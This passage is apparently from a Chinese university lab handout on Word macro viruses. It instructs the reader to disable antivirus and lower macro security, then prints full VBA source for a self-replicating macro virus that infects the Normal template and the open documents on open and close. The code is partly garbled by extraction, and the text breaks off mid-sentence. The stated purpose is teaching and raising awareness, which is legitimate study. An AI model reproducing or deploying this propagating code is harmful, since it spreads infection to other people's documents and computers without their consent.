Word宏病毒资料题.pdfVIP

Word 宏病毒 1. 实验 目的(后果 自负) Word 宏是指能组织到一起为独立命令使用 的一系列 Word 指令，它能使日常工作变 得容易。本实验演示 了宏的编写，通过两个简单的宏病毒示例 ，说明宏的原理及其安全漏 洞和缺陷，理解宏病 毒的作用机制，从而加强对宏病毒的认识 ，提高防范意识。 2. 实验所需条件和环境 硬件设备：局域网， 终端 PC 机。 系统软件： Windows 系列操作系统 支撑软件： Word 2003 软件设置：关闭杀毒 软；打开 Word 2003 ，在工具 宏 安全性中，将安 全级别设置为低， 在可靠发行商选项卡 中，选择信任任何所有安装的加载项和模 板，选择信任 visual basic 项 目的访问 实验环境配置如下图 所示： 受感染 Word文档 受感染终端 被感染终端 宏病毒传播示意图 3. 实验 内容和分析 为了保证该实验不至 于造成较大的破坏性，进行实验感染后， 被感染终端不要打开过 多的 word 文档，否则 清除比较麻烦（对每个打开过 的文档都要清除 ）。 3.1. 例 1 自我 复制，感 染 word 公用 模 板 和当前 文档 代码如下： Micro-Virus Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With Host If .Lines(1.1) Micro-Virus Then .DeleteLines 1, .CountOfLines .InsertLines 1, Ourcode .ReplaceLine 2, Sub Document_Close() If ThisDocument = nomaltemplate Then .ReplaceLine 2, Sub Document_Open() ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox MicroVirus by Content Security Lab End Sub 打开一个 word 文档， 然后按 Alt+F11 调用宏编写窗口（工具 宏 Visual Basic 宏编 辑器） ,在左侧的 project —Microsoft Word 对象 ThisDocument 中输入以上代码，保存， 此时当前 word 文档就 含有宏病毒，只要下次打开这 个 word 文档，就会执行以上代码，并 将自身复